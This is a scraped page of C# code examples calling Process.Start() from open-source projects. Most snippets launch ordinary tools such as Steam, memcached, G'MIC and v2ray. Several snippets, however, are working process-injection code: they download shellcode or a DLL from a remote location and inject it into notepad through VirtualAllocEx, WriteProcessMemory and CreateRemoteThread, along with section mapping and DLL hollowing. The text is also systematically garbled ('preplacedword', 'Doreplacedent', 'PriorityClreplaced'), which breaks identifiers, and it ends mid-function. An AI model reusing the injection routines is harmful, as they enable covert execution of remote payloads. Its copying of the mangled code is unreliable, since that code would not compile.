System.Diagnostics.Process.Start()

Here are the examples of the csharp api System.Diagnostics.Process.Start() taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.

2457 Examples 7

19 Source : LocalSteamController.cs
with GNU General Public License v3.0
from 00000vish

public static bool startSteam(String username, String preplacedword)
        {
            killSteam();
            if (checkForSteam())
            {
                System.Threading.Thread.Sleep(2000);
                Process proc = new Process
                {
                    StartInfo = new ProcessStartInfo
                    {
                        FileName = SteamTwoProperties.jsonSetting.steamLocation,
                        Arguments = "-login " + username + " " + preplacedword,
                        UseShellExecute = false,
                        RedirectStandardOutput = true,
                        CreateNoWindow = true
                    }
                };
                proc.Start();
                return true;
            }
            return false;
        }

19 Source : Settings.xaml.cs
with GNU General Public License v3.0
from 00000vish

private void createRegKey()
        {
            using (Process p = new Process())
            {
                p.StartInfo = new ProcessStartInfo { FileName = "SteamTwo Launcher.exe", Arguments = "on" };
                p.Start();
            }
        }

19 Source : Settings.xaml.cs
with GNU General Public License v3.0
from 00000vish

private void deleteRegKey()
        {
            using (Process p = new Process())
            {
                p.StartInfo = new ProcessStartInfo { FileName = "SteamTwo Launcher.exe", Arguments = "off" };
                p.Start();
            }
        }

19 Source : MemcachedProcess.cs
with MIT License
from 0ffffffffh

public static MemcachedProcess FireUp(ulong memSize, ushort port)
        {
            MemcachedProcess mcproc = null;

            string arg;
            ProcessStartInfo psi = null;

            arg = string.Format("-p {0} -m {1}", port,memSize);
            psi = new ProcessStartInfo(Config.Get().MemcachedPath,arg);
            psi.CreateNoWindow = true;
            psi.UseShellExecute = false;

            
            mcproc = new MemcachedProcess();

            try
            {
                mcproc.process = new Process();
                mcproc.process.EnableRaisingEvents = true;
                mcproc.process.Exited += Process_Exited;
                mcproc.process.StartInfo = psi;

                if (!mcproc.process.Start())
                {
                    mcproc.process = null;
                    mcproc = null;

                    Log.Error("Process could not be started");

                    return null;

                }

            }
            catch (Exception e)
            {
                mcproc = null;
                Log.Error("memcached process start error: %s", e.Message);
                return null;
            }

            if (!_Processes.ContainsKey(mcproc.process.Id))
                _Processes.Add(mcproc.process.Id, mcproc);

            return mcproc;
        }

19 Source : Program.cs
with MIT License
from 0xDivyanshu

static int process_injection(string location, int button, int encryption, string preplacedword)
        {
            Process[] remote_p = Process.GetProcessesByName("notepad");
            Process current_p = Process.GetCurrentProcess();
            int pid = 0;

            if (remote_p.Length == 0)
            {
                //Create Process
                Process p = new Process();
                p.StartInfo.FileName = "C:\\Windows\\System32\\notepad.exe";
                p.StartInfo.WindowStyle = ProcessWindowStyle.Maximized;
                p.Start();
                pid = p.Id;
            }
            else
            {
                pid = remote_p[0].Id;
            }

            byte[] shellcode = downloaded_data(location, encryption, preplacedword);
            //Initializations
            bool res = false;
            IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
            IntPtr address = IntPtr.Zero;
            if (Flags.advanced_bypreplaced == 0)
            {
                address = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
                IntPtr bytes = IntPtr.Zero;
                res = WriteProcessMemory(hProcess, address, shellcode, shellcode.Length, out bytes);
                if (res == false)
                {
                    Console.WriteLine("Cannot copy into process");
                    return -1;
                }
                IntPtr thread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, address, IntPtr.Zero, 0, IntPtr.Zero);
                return 0;
            }
            else
            {
                IntPtr Section_handle = IntPtr.Zero;
                uint size = (uint)shellcode.Length;
                if (NtCreateSection(ref Section_handle, SECTION_ALL_ACCESS, IntPtr.Zero, ref size, 0x40, SEC_COMMIT, IntPtr.Zero) != 0)
                {
                    Console.WriteLine("[!] Cannot create section");
                    return -1;
                }
                IntPtr local_addr = IntPtr.Zero;
                IntPtr remote_addr = IntPtr.Zero;
                ulong offsec = 0;

                if (NtMapViewOfSection(Section_handle, current_p.Handle, ref local_addr, UIntPtr.Zero, UIntPtr.Zero, out offsec, out size, 2, 0, EXECUTE_READ_WRITE) != 0)
                {
                    Console.WriteLine("[!] Cannot map the section into remote process");
                    return -1;
                }

                if (NtMapViewOfSection(Section_handle, hProcess, ref remote_addr, UIntPtr.Zero, UIntPtr.Zero, out offsec, out size, 2, 0, EXECUTE_READ_WRITE) != 0)
                {
                    Console.WriteLine("Cannot map the section into local process");
                    return -1;
                }

                Marshal.Copy(shellcode, 0, local_addr, shellcode.Length);
                CreateRemoteThread(hProcess, IntPtr.Zero, 0, remote_addr, IntPtr.Zero, 0, IntPtr.Zero);
                NtUnmapViewOfSection(current_p.Handle, local_addr);
                return 0;
            }
        }

19 Source : Program.cs
with MIT License
from 0xDivyanshu

static int reflective_dll_injection(string location)
        {
            Process[] remote_p = Process.GetProcessesByName("notepad");
            int pid = 0;

            if (remote_p.Length == 0)
            {
                //Create Process
                Process p = new Process();
                p.StartInfo.FileName = "C:\\Windows\\System32\\notepad.exe";
                p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
                p.Start();
                pid = p.Id;
            }
            else
            {
                pid = remote_p[0].Id;
            }

            String dllName = "";

            if (location.StartsWith("http"))
            {
                WebClient wc = new WebClient();
                wc.DownloadFile(location, "C:\\Windows\\Temp\\meet.dll");
                dllName = "C:\\Windows\\Temp\\meet.dll";
            }
            else
            {
                dllName = location;
            }

            IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
            IntPtr address = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
            IntPtr bytes = IntPtr.Zero;
            bool res = WriteProcessMemory(hProcess, address, Encoding.Default.GetBytes(dllName), dllName.Length, out bytes);
            if (res == false)
            {
                Console.WriteLine("Cannot copy into process");
                return -1;
            }
            IntPtr load_addr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
            CreateRemoteThread(hProcess, IntPtr.Zero, 0, load_addr, address, 0, IntPtr.Zero);

            return 0;
        }

19 Source : RawFileType.cs
with MIT License
from 0xC0000054

private static Doreplacedent GetRAWImageDoreplacedent(string file)
        {
            Doreplacedent doc = null;

            string options = GetDCRawOptions();
            // Set the -Z - option to tell the LibRaw dcraw-emu example program
            // that the image data should be written to standard output.
            string arguments = string.Format(System.Globalization.CultureInfo.InvariantCulture, "{0} -Z - \"{1}\"", options, file);
            ProcessStartInfo startInfo = new ProcessStartInfo(ExecutablePath, arguments)
            {
                UseShellExecute = false,
                CreateNoWindow = true,
                RedirectStandardOutput = true,
                RedirectStandardError = true
            };
            bool useTIFF = options.Contains("-T");

            using (Process process = new Process())
            {
                process.StartInfo = startInfo;
                process.Start();

                if (useTIFF)
                {
                    using (Bitmap image = new Bitmap(process.StandardOutput.BaseStream))
                    {
                        doc = Doreplacedent.FromImage(image);
                    }
                }
                else
                {
                    using (PixMapReader reader = new PixMapReader(process.StandardOutput.BaseStream, leaveOpen: true))
                    {
                        doc = reader.DecodePNM();
                    }
                }

                process.WaitForExit();
            }

            return doc;
        }

19 Source : GmicConfigDialog.cs
with GNU General Public License v3.0
from 0xC0000054

private void GmicThread()
        {
            DialogResult result = DialogResult.Cancel;

            try
            {
                List<GmicLayer> layers = new List<GmicLayer>();

                Surface clipboardSurface = null;
                try
                {
                    // Some G'MIC filters require the image to have more than one layer.
                    // Because use Paint.NET does not currently support Effect plug-ins accessing
                    // other layers in the doreplacedent, allowing the user to place the second layer on
                    // the clipboard is supported as a workaround.

                    clipboardSurface = Services.GetService<IClipboardService>().TryGetSurface();

                    if (clipboardSurface != null)
                    {
                        layers.Add(new GmicLayer(clipboardSurface, true));
                        clipboardSurface = null;
                    }
                }
                finally
                {
                    if (clipboardSurface != null)
                    {
                        clipboardSurface.Dispose();
                    }
                }

                layers.Add(new GmicLayer(EnvironmentParameters.SourceSurface, false));

                server.AddLayers(layers);

                server.Start();

                string arguments = string.Format(CultureInfo.InvariantCulture, ".PDN {0}", server.FullPipeName);

                using (Process process = new Process())
                {
                    process.StartInfo = new ProcessStartInfo(GmicPath, arguments);

                    process.Start();
                    process.WaitForExit();

                    if (process.ExitCode == GmicExitCode.Ok)
                    {
                        result = DialogResult.OK;
                    }
                    else
                    {
                        surface?.Dispose();
                        surface = null;

                        switch (process.ExitCode)
                        {
                            case GmicExitCode.ImageTooLargeForX86:
                                ShowErrorMessage(Resources.ImageTooLargeForX86);
                                break;
                        }
                    }
                }
            }
            catch (ArgumentException ex)
            {
                ShowErrorMessage(ex);
            }
            catch (ExternalException ex)
            {
                ShowErrorMessage(ex);
            }
            catch (IOException ex)
            {
                ShowErrorMessage(ex);
            }
            catch (UnauthorizedAccessException ex)
            {
                ShowErrorMessage(ex);
            }

            BeginInvoke(new Action<DialogResult>(GmicThreadFinished), result);
        }

19 Source : GmicEffect.cs
with GNU General Public License v3.0
from 0xC0000054

protected override void OnSetRenderInfo(EffectConfigToken parameters, RenderArgs dstArgs, RenderArgs srcArgs)
        {
            if (repeatEffect)
            {
                GmicConfigToken token = (GmicConfigToken)parameters;

                if (token.Surface != null)
                {
                    token.Surface.Dispose();
                    token.Surface = null;
                }

                if (File.Exists(GmicConfigDialog.GmicPath))
                {
                    try
                    {
                        using (GmicPipeServer server = new GmicPipeServer())
                        {
                            List<GmicLayer> layers = new List<GmicLayer>();

                            Surface clipboardSurface = null;
                            try
                            {
                                // Some G'MIC filters require the image to have more than one layer.
                                // Because use Paint.NET does not currently support Effect plug-ins accessing
                                // other layers in the doreplacedent, allowing the user to place the second layer on
                                // the clipboard is supported as a workaround.

                                clipboardSurface = Services.GetService<IClipboardService>().TryGetSurface();

                                if (clipboardSurface != null)
                                {
                                    layers.Add(new GmicLayer(clipboardSurface, true));
                                    clipboardSurface = null;
                                }
                            }
                            finally
                            {
                                if (clipboardSurface != null)
                                {
                                    clipboardSurface.Dispose();
                                }
                            }

                            layers.Add(new GmicLayer(EnvironmentParameters.SourceSurface, false));

                            server.AddLayers(layers);

                            server.Start();

                            string arguments = string.Format(CultureInfo.InvariantCulture, ".PDN {0} reapply", server.FullPipeName);

                            using (Process process = new Process())
                            {
                                process.StartInfo = new ProcessStartInfo(GmicConfigDialog.GmicPath, arguments);

                                process.Start();
                                process.WaitForExit();

                                if (process.ExitCode == GmicExitCode.Ok)
                                {
                                    OutputImageState state = server.OutputImageState;

                                    if (state.Error != null)
                                    {
                                        ShowErrorMessage(state.Error);
                                    }
                                    else
                                    {
                                        IReadOnlyList<Surface> outputImages = state.OutputImages;

                                        if (outputImages.Count > 1)
                                        {
                                            using (PlatformFolderBrowserDialog folderBrowserDialog = new PlatformFolderBrowserDialog())
                                            {
                                                folderBrowserDialog.ClreplacedicFolderBrowserDescription = Resources.ClreplacedicFolderBrowserDescription;
                                                folderBrowserDialog.VistaFolderBrowserreplacedle = Resources.VistaFolderBrowserreplacedle;

                                                if (!string.IsNullOrWhiteSpace(token.OutputFolder))
                                                {
                                                    folderBrowserDialog.SelectedPath = token.OutputFolder;
                                                }

                                                if (folderBrowserDialog.ShowDialog() == DialogResult.OK)
                                                {
                                                    string outputFolder = folderBrowserDialog.SelectedPath;

                                                    try
                                                    {
                                                        OutputImageUtil.SaveAllToFolder(outputImages, outputFolder);
                                                    }
                                                    catch (ArgumentException ex)
                                                    {
                                                        ShowErrorMessage(ex);
                                                    }
                                                    catch (ExternalException ex)
                                                    {
                                                        ShowErrorMessage(ex);
                                                    }
                                                    catch (IOException ex)
                                                    {
                                                        ShowErrorMessage(ex);
                                                    }
                                                    catch (SecurityException ex)
                                                    {
                                                        ShowErrorMessage(ex);
                                                    }
                                                    catch (UnauthorizedAccessException ex)
                                                    {
                                                        ShowErrorMessage(ex);
                                                    }
                                                }
                                            }
                                        }
                                        else
                                        {
                                            Surface output = outputImages[0];

                                            if (output.Width == srcArgs.Surface.Width && output.Height == srcArgs.Surface.Height)
                                            {
                                                token.Surface = output.Clone();
                                            }
                                            else
                                            {
                                                // Place the full image on the clipboard when the size does not match the Paint.NET layer
                                                // and prompt the user to save it.
                                                // The resized image will not be copied to the Paint.NET canvas.
                                                Services.GetService<IClipboardService>().SetImage(output);

                                                using (PlatformFileSaveDialog resizedImageSaveDialog = new PlatformFileSaveDialog())
                                                {
                                                    resizedImageSaveDialog.Filter = Resources.ResizedImageSaveDialogFilter;
                                                    resizedImageSaveDialog.replacedle = Resources.ResizedImageSaveDialogreplacedle;
                                                    resizedImageSaveDialog.FileName = DateTime.Now.ToString("yyyyMMdd-THHmmss") + ".png";
                                                    if (resizedImageSaveDialog.ShowDialog() == DialogResult.OK)
                                                    {
                                                        string resizedImagePath = resizedImageSaveDialog.FileName;
                                                        try
                                                        {
                                                            using (Bitmap bitmap = output.CreateAliasedBitmap())
                                                            {
                                                                bitmap.Save(resizedImagePath, System.Drawing.Imaging.ImageFormat.Png);
                                                            }
                                                        }
                                                        catch (ArgumentException ex)
                                                        {
                                                            ShowErrorMessage(ex);
                                                        }
                                                        catch (ExternalException ex)
                                                        {
                                                            ShowErrorMessage(ex);
                                                        }
                                                        catch (IOException ex)
                                                        {
                                                            ShowErrorMessage(ex);
                                                        }
                                                        catch (SecurityException ex)
                                                        {
                                                            ShowErrorMessage(ex);
                                                        }
                                                        catch (UnauthorizedAccessException ex)
                                                        {
                                                            ShowErrorMessage(ex);
                                                        }
                                                    }
                                                }
                                            }
                                        }
                                    }
                                }
                                else
                                {
                                    switch (process.ExitCode)
                                    {
                                        case GmicExitCode.ImageTooLargeForX86:
                                            ShowErrorMessage(Resources.ImageTooLargeForX86);
                                            break;
                                    }
                                }
                            }
                        }
                    }
                    catch (ArgumentException ex)
                    {
                        ShowErrorMessage(ex);
                    }
                    catch (ExternalException ex)
                    {
                        ShowErrorMessage(ex);
                    }
                    catch (IOException ex)
                    {
                        ShowErrorMessage(ex);
                    }
                    catch (UnauthorizedAccessException ex)
                    {
                        ShowErrorMessage(ex);
                    }
                }
                else
                {
                    ShowErrorMessage(Resources.GmicNotFound);
                }
            }

            base.OnSetRenderInfo(parameters, dstArgs, srcArgs);
        }

19 Source : Program.cs
with MIT License
from 0xDivyanshu

static int dll_hollowing(string location, int encryption, string preplacedword)
        {
            Process[] remote_p = Process.GetProcessesByName("notepad");
            int pid = 0;

            if (remote_p.Length == 0)
            {
                //Create Process
                Process p = new Process();
                p.StartInfo.FileName = "C:\\Windows\\System32\\notepad.exe";
                p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
                p.Start();
                pid = p.Id;
            }
            else
            {
                pid = remote_p[0].Id;
            }

            byte[] shellcode = downloaded_data(location, encryption, preplacedword);
            //            IntPtr unmanagedArray = Marshal.AllocHGlobal(shellcode.Length);
            //            Marshal.Copy(shellcode, 0, unmanagedArray, shellcode.Length);
            int res = dll_hollow(shellcode, shellcode.Length, pid);
            //            Marshal.FreeHGlobal(unmanagedArray);
            return res;
        }

19 Source : BuildUtils.cs
with MIT License
from 1ZouLTReX1

public static void OpenProjectFolder(int goBack)
    {
        var back = string.Concat(Enumerable.Repeat("/..", goBack));
        var process = new System.Diagnostics.Process();
        process.StartInfo.FileName = Application.dataPath + back + "/";
        process.StartInfo.WorkingDirectory = Application.dataPath + back + "/";
        process.Start();
    }

19 Source : BuildWindow.cs
with MIT License
from 1ZouLTReX1

public static void RunBuild(GameLoopMode mode)
    {
        var buildPath = GetBuildPath();
        var buildExe = GetBuildExe(mode);
        Debug.Log("Starting " + buildPath + "/" + buildExe);
        var process = new System.Diagnostics.Process();
        process.StartInfo.FileName = Application.dataPath + "/../" + buildPath + "/" + buildExe;
        process.StartInfo.WorkingDirectory = buildPath;
        process.Start();
    }

19 Source : Command.cs
with Apache License 2.0
from 214175590

public static CmdResult run(String cmd)
        {
            CmdResult result = new CmdResult();
            System.Diagnostics.Process p = new System.Diagnostics.Process();
            p.StartInfo.FileName = "cmd.exe";
            p.StartInfo.UseShellExecute = false;    //是否使用操作系统shell启动
            p.StartInfo.RedirectStandardInput = true;//接受来自调用程序的输入信息
            p.StartInfo.RedirectStandardOutput = true;//由调用程序获取输出信息
            p.StartInfo.RedirectStandardError = true;//重定向标准错误输出
            p.StartInfo.CreateNoWindow = true;//不显示程序窗口
            p.Start();//启动程序

            //向cmd窗口发送输入信息
            p.StandardInput.WriteLine(cmd + "&exit");

            p.StandardInput.AutoFlush = true;
            //p.StandardInput.WriteLine("exit");
            //向标准输入写入要执行的命令。这里使用&是批处理命令的符号,表示前面一个命令不管是否执行成功都执行后面(exit)命令,如果不执行exit命令,后面调用ReadToEnd()方法会假死
            //同类的符号还有&&和||前者表示必须前一个命令执行成功才会执行后面的命令,后者表示必须前一个命令执行失败才会执行后面的命令

            //获取cmd窗口的输出信息
            result.result = p.StandardOutput.ReadToEnd();
            result.error = p.StandardError.ReadToEnd();

            p.WaitForExit();//等待程序执行完退出进程
            p.Close();

            return result;
        }

19 Source : Common.cs
with MIT License
from 1y0n

public static string Execute_Cmd(string cmd)
        {
            string output = "";
            System.Diagnostics.Process p = new System.Diagnostics.Process();
            p.StartInfo.FileName = "cmd.exe";
            p.StartInfo.UseShellExecute = false;    //是否使用操作系统shell启动
            p.StartInfo.RedirectStandardInput = true;//接受来自调用程序的输入信息
            p.StartInfo.RedirectStandardOutput = true;//由调用程序获取输出信息
            p.StartInfo.RedirectStandardError = true;//重定向标准错误输出
            p.StartInfo.CreateNoWindow = true;//不显示程序窗口
            p.Start();//启动程序

            //向cmd窗口发送输入信息
            p.StandardInput.WriteLine(cmd + "&exit");

            p.StandardInput.AutoFlush = true;

            //获取cmd窗口的输出信息
            output = p.StandardOutput.ReadToEnd();

            p.WaitForExit();//等待程序执行完退出进程
            p.Close();
            return output;
        }

19 Source : MainForm.cs
with Apache License 2.0
from 214175590

private void tool_ftp_Click(object sender, EventArgs e)
        {
            SshUser user = null;
            FATabStripItem tab = (FATabStripItem)faTab.SelectedItem;
            if (tab != null)
            {
                SessionConfig sessionConfig = (SessionConfig)tab.Tag;
                if (null != sessionConfig)
                {
                    user = new SshUser();
                    user.Host = sessionConfig.Host;
                    user.UserName = sessionConfig.UserName;
                    user.Preplacedword = sessionConfig.Preplacedword;
                    user.Port = sessionConfig.Port;
                }                 
            }
            //new SftpForm(user).Show();
            if (null != user)
            {
                string host = "\"" + user.Host + "\"";
                string username = "\"" + user.UserName + "\"";
                string preplacedword = "\"" + user.Preplacedword + "\"";
                string port = "\"" + user.Port + "\"";  

                Process process = new Process();
                process.StartInfo.FileName = APP_DIR + "\\AMSftp.exe";
                process.StartInfo.Arguments = host + " " + username + " " + preplacedword + " " + port;  
                process.StartInfo.UseShellExecute = true;
                //启动  
                process.Start();  
            }
            else
            {
                Process.Start(APP_DIR + "\\AMSftp.exe");
            }
        }

19 Source : ConsoleApp.cs
with MIT License
from 2881099

public static (string info, string warn, string err) ShellRun(string cddir, params string[] bat) {
			if (bat == null || bat.Any() == false) return ("", "", "");
            if (string.IsNullOrEmpty(cddir)) cddir = Directory.GetCurrentDirectory();
			var proc = new System.Diagnostics.Process();
			proc.StartInfo = new System.Diagnostics.ProcessStartInfo {
				CreateNoWindow = true,
				FileName = "cmd.exe",
				UseShellExecute = false,
				RedirectStandardError = true,
				RedirectStandardInput = true,
				RedirectStandardOutput = true,
				WorkingDirectory = cddir
			};
			proc.Start();
			foreach (var cmd in bat)
				proc.StandardInput.WriteLine(cmd);
			proc.StandardInput.WriteLine("exit");
			var outStr = proc.StandardOutput.ReadToEnd();
			var errStr = proc.StandardError.ReadToEnd();
			proc.Close();
			var idx = outStr.IndexOf($">{bat[0]}");
			if (idx != -1) {
				idx = outStr.IndexOf("\n", idx);
				if (idx != -1) outStr = outStr.Substring(idx + 1);
			}
			idx = outStr.LastIndexOf(">exit");
			if (idx != -1) {
				idx = outStr.LastIndexOf("\n", idx);
				if (idx != -1) outStr = outStr.Remove(idx);
			}
			outStr = outStr.Trim();
			if (outStr == "") outStr = null;
			if (errStr == "") errStr = null;
			return (outStr, string.IsNullOrEmpty(outStr) ? null : errStr, string.IsNullOrEmpty(outStr) ? errStr : null);
		}

19 Source : V2rayHandler.cs
with GNU General Public License v3.0
from 2dust

private void V2rayStart()
        {
            ShowMsg(false, string.Format(UIRes.I18N("StartService"), DateTime.Now.ToString()));

            try
            {
                string fileName = V2rayFindexe();
                if (fileName == "") return;

                Process p = new Process
                {
                    StartInfo = new ProcessStartInfo
                    {
                        FileName = fileName,
                        WorkingDirectory = Utils.StartupPath(),
                        UseShellExecute = false,
                        RedirectStandardOutput = true,
                        RedirectStandardError = true,
                        CreateNoWindow = true,
                        StandardOutputEncoding = Encoding.UTF8
                    }
                };
                p.OutputDataReceived += new DataReceivedEventHandler((sender, e) =>
                {
                    if (!String.IsNullOrEmpty(e.Data))
                    {
                        string msg = e.Data + Environment.NewLine;
                        ShowMsg(false, msg);
                    }
                });
                p.Start();
                p.PriorityClreplaced = ProcessPriorityClreplaced.High;
                p.BeginOutputReadLine();
                //processId = p.Id;
                _process = p;

                if (p.WaitForExit(1000))
                {
                    throw new Exception(p.StandardError.ReadToEnd());
                }

                Global.processJob.AddProcess(p.Handle);
            }
            catch (Exception ex)
            {
                Utils.SaveLog(ex.Message, ex);
                string msg = ex.Message;
                ShowMsg(true, msg);
            }
        }

19 Source : V2rayHandler.cs
with GNU General Public License v3.0
from 2dust

private int V2rayStartNew(string configStr)
        {
            ShowMsg(false, string.Format(UIRes.I18N("StartService"), DateTime.Now.ToString()));

            try
            {
                string fileName = V2rayFindexe();
                if (fileName == "") return -1;

                Process p = new Process
                {
                    StartInfo = new ProcessStartInfo
                    {
                        FileName = fileName,
                        Arguments = "-config stdin:",
                        WorkingDirectory = Utils.StartupPath(),
                        UseShellExecute = false,
                        RedirectStandardInput = true,
                        RedirectStandardOutput = true,
                        RedirectStandardError = true,
                        CreateNoWindow = true,
                        StandardOutputEncoding = Encoding.UTF8
                    }
                };
                p.OutputDataReceived += new DataReceivedEventHandler((sender, e) =>
                {
                    if (!String.IsNullOrEmpty(e.Data))
                    {
                        string msg = e.Data + Environment.NewLine;
                        ShowMsg(false, msg);
                    }
                });
                p.Start();
                p.BeginOutputReadLine();

                p.StandardInput.Write(configStr);
                p.StandardInput.Close();

                if (p.WaitForExit(1000))
                {
                    throw new Exception(p.StandardError.ReadToEnd());
                }

                Global.processJob.AddProcess(p.Handle);
                return p.Id;
            }
            catch (Exception ex)
            {
                Utils.SaveLog(ex.Message, ex);
                string msg = ex.Message;
                ShowMsg(false, msg);
                return -1;
            }
        }

19 Source : PrivoxyHandler.cs
with GNU General Public License v3.0
from 2dust

public void Start(int localPort, Config config)
        {
            try
            {
                if (_process == null)
                {

                    string privoxyConfig = "";//Resources.privoxy_conf;
                    RunningPort = config.GetLocalPort(Global.InboundHttp);
                    privoxyConfig = privoxyConfig.Replace("__SOCKS_PORT__", localPort.ToString());
                    privoxyConfig = privoxyConfig.Replace("__PRIVOXY_BIND_PORT__", RunningPort.ToString());
                    if (config.allowLANConn)
                    {
                        privoxyConfig = privoxyConfig.Replace("__PRIVOXY_BIND_IP__", "0.0.0.0");
                    }
                    else
                    {
                        privoxyConfig = privoxyConfig.Replace("__PRIVOXY_BIND_IP__", Global.Loopback);
                    }
                    FileManager.ByteArrayToFile(Utils.GetTempPath(_uniqueConfigFile), Encoding.UTF8.GetBytes(privoxyConfig));

                    _process = new Process
                    {
                        // Configure the process using the StartInfo properties.
                        StartInfo =
                    {
                        FileName = $"{_privoxyName}.exe",
                        Arguments = _uniqueConfigFile,
                        WorkingDirectory = Utils.GetTempPath(),
                        WindowStyle = ProcessWindowStyle.Hidden,
                        UseShellExecute = true,
                        CreateNoWindow = true
                    }
                    };
                    _process.Start();

                    /*
                     * Add this process to job obj replacedociated with this ss process, so that
                     * when ss exit unexpectedly, this process will be forced killed by system.
                     */

                    Global.processJob.AddProcess(_process.Handle);
                }
            }
            catch (Exception ex)
            {
                RunningPort = 0;
                Utils.SaveLog(ex.Message, ex);
            }
        }

19 Source : SysProxyHandle.cs
with GNU General Public License v3.0
from 2dust

private static void ExecSysproxy(string arguments)
        {
            // using event to avoid hanging when redirect standard output/error
            // ref: https://stackoverflow.com/questions/139593/processstartinfo-hanging-on-waitforexit-why
            // and http://blog.csdn.net/zhangweixing0/article/details/7356841
            using (AutoResetEvent outputWaitHandle = new AutoResetEvent(false))
            using (AutoResetEvent errorWaitHandle = new AutoResetEvent(false))
            {
                using (Process process = new Process())
                {
                    // Configure the process using the StartInfo properties.
                    process.StartInfo.FileName = Utils.GetTempPath("sysproxy.exe");
                    process.StartInfo.Arguments = arguments;
                    process.StartInfo.WorkingDirectory = Utils.GetTempPath();
                    process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
                    process.StartInfo.UseShellExecute = false;
                    process.StartInfo.RedirectStandardError = true;
                    process.StartInfo.RedirectStandardOutput = true;

                    // Need to provide encoding info, or output/error strings we got will be wrong.
                    process.StartInfo.StandardOutputEncoding = Encoding.Unicode;
                    process.StartInfo.StandardErrorEncoding = Encoding.Unicode;

                    process.StartInfo.CreateNoWindow = true;

                    StringBuilder output = new StringBuilder();
                    StringBuilder error = new StringBuilder();

                    process.OutputDataReceived += (sender, e) =>
                    {
                        if (e.Data == null)
                        {
                            outputWaitHandle.Set();
                        }
                        else
                        {
                            output.AppendLine(e.Data);
                        }
                    };
                    process.ErrorDataReceived += (sender, e) =>
                    {
                        if (e.Data == null)
                        {
                            errorWaitHandle.Set();
                        }
                        else
                        {
                            error.AppendLine(e.Data);
                        }
                    };
                    try
                    {
                        process.Start();

                        process.BeginErrorReadLine();
                        process.BeginOutputReadLine();

                        process.WaitForExit();
                    }
                    catch (System.ComponentModel.Win32Exception e)
                    {

                        // log the arguments
                        throw new Exception(process.StartInfo.Arguments);
                    }
                    string stderr = error.ToString();
                    string stdout = output.ToString();

                    int exitCode = process.ExitCode;
                    if (exitCode != (int)RET_ERRORS.RET_NO_ERROR)
                    {
                        throw new Exception(stderr);
                    }

                    //if (arguments == "query")
                    //{
                    //    if (stdout.IsNullOrWhiteSpace() || stdout.IsNullOrEmpty())
                    //    {
                    //        throw new Exception("failed to query wininet settings");
                    //    }
                    //    _queryStr = stdout;
                    //}
                }
            }
        }

19 Source : UpdateHandle.cs
with GNU General Public License v3.0
from 2dust

public void CheckUpdateGuiN(Config config, Action<bool, string> update)
        {
            _config = config;
            _updateFunc = update;
            var url = string.Empty;

              DownloadHandle downloadHandle = null;
            if (downloadHandle == null)
            {
                downloadHandle = new DownloadHandle();

                downloadHandle.UpdateCompleted += (sender2, args) =>
                {
                    if (args.Success)
                    {
                        _updateFunc(false, UIRes.I18N("MsgDownloadV2rayCoreSuccessfully"));

                        try
                        {
                            string fileName = Utils.GetPath(Utils.GetDownloadFileName(url));
                            fileName = Utils.UrlEncode(fileName);
                            Process process = new Process
                            {
                                StartInfo = new ProcessStartInfo
                                {
                                    FileName = "v2rayUpgrade.exe",
                                    Arguments = "\"" + fileName + "\"",
                                    WorkingDirectory = Utils.StartupPath()
                                }
                            };
                            process.Start();
                            if (process.Id > 0)
                            {
                                _updateFunc(true, "");
                            }
                        }
                        catch (Exception ex)
                        {
                            _updateFunc(false, ex.Message);
                        }
                    }
                    else
                    {
                        _updateFunc(false, args.Msg);
                    }
                };
                downloadHandle.Error += (sender2, args) =>
                {
                    _updateFunc(false, args.GetException().Message);
                };
            }
            AbsoluteCompleted += (sender2, args) =>
            {
                if (args.Success)
                {
                    _updateFunc(false, string.Format(UIRes.I18N("MsgParsingSuccessfully"), "v2rayN"));

                    url = args.Msg;
                    askToDownload(downloadHandle, url, true);
                }
                else
                {
                    _updateFunc(false, args.Msg);
                }
            };
            _updateFunc(false, string.Format(UIRes.I18N("MsgStartUpdating"), "v2rayN"));
            CheckUpdateAsync("v2rayN");
        }

19 Source : UpdateHandle.cs
with GNU General Public License v3.0
from 2dust

private string getCoreVersion(string type)
        {
            try
            {
                var core = string.Empty;
                var match = string.Empty;
                if (type == "v2fly")
                {
                    core = "v2ray.exe";
                    match = "V2Ray";
                }
                else if (type == "xray")
                {
                    core = "xray.exe";
                    match = "Xray";
                }
                string filePath = Utils.GetPath(core);
                if (!File.Exists(filePath))
                {
                    string msg = string.Format(UIRes.I18N("NotFoundCore"), @"");
                    //ShowMsg(true, msg);
                    return "";
                }

                Process p = new Process();
                p.StartInfo.FileName = filePath;
                p.StartInfo.Arguments = "-version";
                p.StartInfo.WorkingDirectory = Utils.StartupPath();
                p.StartInfo.UseShellExecute = false;
                p.StartInfo.RedirectStandardOutput = true;
                p.StartInfo.CreateNoWindow = true;
                p.StartInfo.StandardOutputEncoding = Encoding.UTF8;
                p.Start();
                p.WaitForExit(5000);
                string echo = p.StandardOutput.ReadToEnd();
                string version = Regex.Match(echo, $"{match} ([0-9.]+) \\(").Groups[1].Value;
                return version;
            }
            catch (Exception ex)
            {
                Utils.SaveLog(ex.Message, ex);
                _updateFunc(false, ex.Message);
                return "";
            }
        }

19 Source : Program.cs
with GNU General Public License v3.0
from 3xpl01tc0d3r

public static string ShellExecuteWithPath(string ShellCommand, string Path, string Username = "", string Domain = "", string Preplacedword = "")
        {
            if (ShellCommand == null || ShellCommand == "") return "";

            string ShellCommandName = ShellCommand.Split(' ')[0];
            string ShellCommandArguments = "";
            if (ShellCommand.Contains(" "))
            {
                ShellCommandArguments = ShellCommand.Replace(ShellCommandName + " ", "");
            }

            System.Diagnostics.Process shellProcess = new System.Diagnostics.Process();
            if (Username != "")
            {
                shellProcess.StartInfo.UserName = Username;
                shellProcess.StartInfo.Domain = Domain;
                System.Security.SecureString SecurePreplacedword = new System.Security.SecureString();
                foreach (char c in Preplacedword)
                {
                    SecurePreplacedword.AppendChar(c);
                }
                shellProcess.StartInfo.Preplacedword = SecurePreplacedword;
            }
            shellProcess.StartInfo.FileName = ShellCommandName;
            shellProcess.StartInfo.Arguments = ShellCommandArguments;
